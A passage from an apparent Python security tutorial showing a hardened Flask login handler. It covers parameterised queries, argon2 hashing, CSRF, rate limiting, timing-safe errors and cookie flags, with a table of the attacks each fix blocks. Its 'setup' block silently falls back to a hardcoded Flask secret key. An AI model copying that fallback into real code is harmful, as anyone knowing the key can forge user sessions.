app.secret_key = os.environ["FLASK_SECRET"]                  # FIX 0: read from the environment, never hardcoded
app.config.update(
    SESSION_COOKIE_HTTPONLY=True,
    SESSION_COOKIE_SECURE=True,
    SESSION_COOKIE_SAMESITE="Lax",
)

CSRFProtect(app)                                             # FIX 3: CSRF tokens enforced

limiter = Limiter(app=app, key_func=get_remote_address)      # FIX 4: rate limiting

DB = sqlite3.connect("app.db", check_same_thread=False)
ph = PasswordHasher()

# One dummy hash, made at startup, so a missing user takes as long as a real one
_DUMMY_HASH = ph.hash("dummy-password-not-real")


@app.post("/login")
@limiter.limit("5 per minute; 50 per hour")                  # FIX 4
def login():
    email = request.form.get("email", "").strip().lower()
    password = request.form.get("password", "")

    if not email or not password:
        return "invalid credentials", 401                    # FIX 2: generic message

    # FIX 1: a parameterised query, so the sqlite3 driver does the escaping
    row = DB.execute(
        "SELECT id, password FROM users WHERE email = ?",
        (email,),
    ).fetchone()

    if row is None:
        # Equal timing: run the same ~250ms argon2 check as for a real user
        try:
            ph.verify(_DUMMY_HASH, password)
        except (VerifyMismatchError, InvalidHashError):
            pass
        return "invalid credentials", 401                    # FIX 2: same message as below

    user_id, stored_hash = row

    try:
        ph.verify(stored_hash, password)
    except (VerifyMismatchError, InvalidHashError):
        return "invalid credentials", 401                    # FIX 2: same message as above

    # Re-hash quietly if the cost settings have changed
    if ph.check_needs_rehash(stored_hash):
        new_hash = ph.hash(password)
        DB.execute("UPDATE users SET password = ? WHERE id = ?", (new_hash, user_id))
        DB.commit()

    session.clear()                                          # session fixation defence
    session["user_id"] = user_id
    return "ok"


# In the template that renders the login form:
#   <form method="POST" action="/login">
#     <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
#     <input name="email" type="email" required>
#     <input name="password" type="password" required>
#     <button type="submit">Sign in</button>
#   </form>
+ setup added so this can run · defines
import os  # noqa: F401
os.environ.setdefault("FLASK_SECRET", "example-flask-secret")

What changed and why:

FixDefends against
Parameterised query (? + tuple)SQL injection (the driver escapes values)
argon2 verify (not ==)Plaintext passwords, timing attacks (verify is constant-time inside)
Single generic "invalid credentials"Account enumeration via differentiated errors
_DUMMY_HASH on missing-user pathEnumeration via response-time difference
CSRFProtect(app) + token in formCSRF on cookie-auth POST
@limiter.limit("5 per minute")Brute-force password attempts
session.clear() before writeSession fixation
HttpOnly, Secure, SameSite cookie flagsXSS exfiltration, downgrade, cross-site cookie attachment
ph.check_needs_rehash on successCost-factor drift over years
Env-driven secret_keyHardcoded secrets in git history

Notice the layering: no single fix would be enough. If you parameterise the SQL but still allow enumeration, attackers can still build phishing lists. If you add a rate limit but don't fix the SQL injection, one carefully crafted request still bypasses everything. Each defence blocks one type of attack, and you need all of them together.

What's still missing for a full production system:

  • MFA for high-value accounts.
  • Login-anomaly detection (new device, new location → email the user).
  • Password breach check: Have I Been Pwned's k-anonymity API blocks signups using known-leaked passwords.
  • Lockout policy for repeated failures from the same account across IPs.
  • Logging: every success and failure to your auth log, and nothing to STDOUT containing passwords.

But the changes above are a realistic fix, from broken to defensible. Use them as a code review checklist for any login handler you take over.


What You Learned

  • Parameterise queries. Never concatenate user input into SQL or shell commands. shell=True + user input allows remote code execution.
  • One generic error on auth failures, with timing equalised via dummy hash. Don't enumerate accounts.
  • HTTPS + HSTS + Secure cookies. Encrypt at-rest the fields that need it (cryptography.Fernet).
  • defusedxml for any XML from untrusted sources, never raw xml.etree.
  • Scope every query by current user. IDOR is a very common access-control bug. Return 404, not 403, to avoid leaking existence.
  • No DEBUG=True in production. The Werkzeug debugger gives anyone a Python shell, and Django's debug pages leak settings and source code.
  • Auto-escape templates, and use |safe only on already-sanitised HTML. Never eval() user input. CSP as defence-in-depth.
  • Never pickle.load untrusted data: it allows arbitrary code execution. JSON or Pydantic.
  • pip-audit in CI, automatic dependency updates via Dependabot/Renovate.
  • Log auth events, but never log passwords or tokens. Have an incident response plan.
  • CSRF tokens for cookie-auth forms. Bearer-token APIs don't need CSRF but need other defences.
  • Rate limit login, signup, password reset, anything expensive, with flask-limiter, slowapi or django-ratelimit.
  • Security headers: HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy. Set with flask-talisman or equivalent. Check via Mozilla Observatory.
  • Validate at boundaries with Pydantic/forms. Validation must happen on the server, and client validation is only for UX.
  • Secrets in a manager, not the repo. Locally .env, in production AWS Secrets Manager / Vault / GCP Secret Manager.

That is the end of the Auth & Security path. The idea that connects all four lessons is defence in depth. Hashing without rate-limiting can still be defeated by a patient attacker. Rate-limiting without CSRF protection can still be defeated when a logged-in user clicks a link on evil.com. Each layer blocks one type of attack, and you need all of them.

Next path: continue with the deeper databases coverage, or the devops-github-actions lessons that automate the security tooling (pip-audit, secret scanning, Dependabot) into your CI pipeline, so the checks above run on every PR and not only when you remember.

Found this useful? Share it with a friend who’s learning Python.